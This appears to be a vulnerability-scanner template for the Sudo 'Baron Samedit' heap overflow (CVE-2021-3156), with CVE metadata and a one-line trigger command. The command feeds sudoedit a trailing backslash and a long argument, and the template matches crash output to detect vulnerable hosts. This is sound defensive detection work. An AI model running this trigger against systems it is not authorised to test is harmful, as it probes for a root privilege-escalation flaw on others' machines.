43 lines
1.7 KiB
YAML
43 lines
1.7 KiB
YAML
id: CVE-2021-3156
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info:
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name: Sudo Baron Samedit - Local Privilege Escalation
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author: pussycat0x
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severity: high
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description: |
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Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.
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reference:
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- https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435
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- https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
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- https://infosecwriteups.com/baron-samedit-cve-2021-3156-tryhackme-76d7dedc3cff
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- http://packetstormsecurity.com/files/161160/Sudo-Heap-Based-Buffer-Overflow.html
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- http://packetstormsecurity.com/files/176932/glibc-syslog-Heap-Based-Buffer-Overflow.html
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classification:
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cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 7.8
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cve-id: CVE-2021-3156
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cwe-id: CWE-193
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epss-score: 0.97085
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epss-percentile: 0.99757
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cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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vendor: sudo_project
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product: sudo
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tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev
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self-contained: true
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code:
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- engine:
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- sh
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- bash
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source: |
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sudoedit -s '\' $(python3 -c 'print("A"*1000)')
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matchers:
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- type: word
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words:
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- "malloc(): memory corruption"
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- "Aborted (core dumped)"
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condition: and
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# digest: 4a0a0047304502204de6d29ee97c296f1046225fd664237cb80c163370f316bfa2c0174718fa0654022100cbd49f46b75314934af75dde946dbe4a3d135d87368f2dead3b9b2fa40bb839b:922c64590222798bb761d5b6d8e72950 |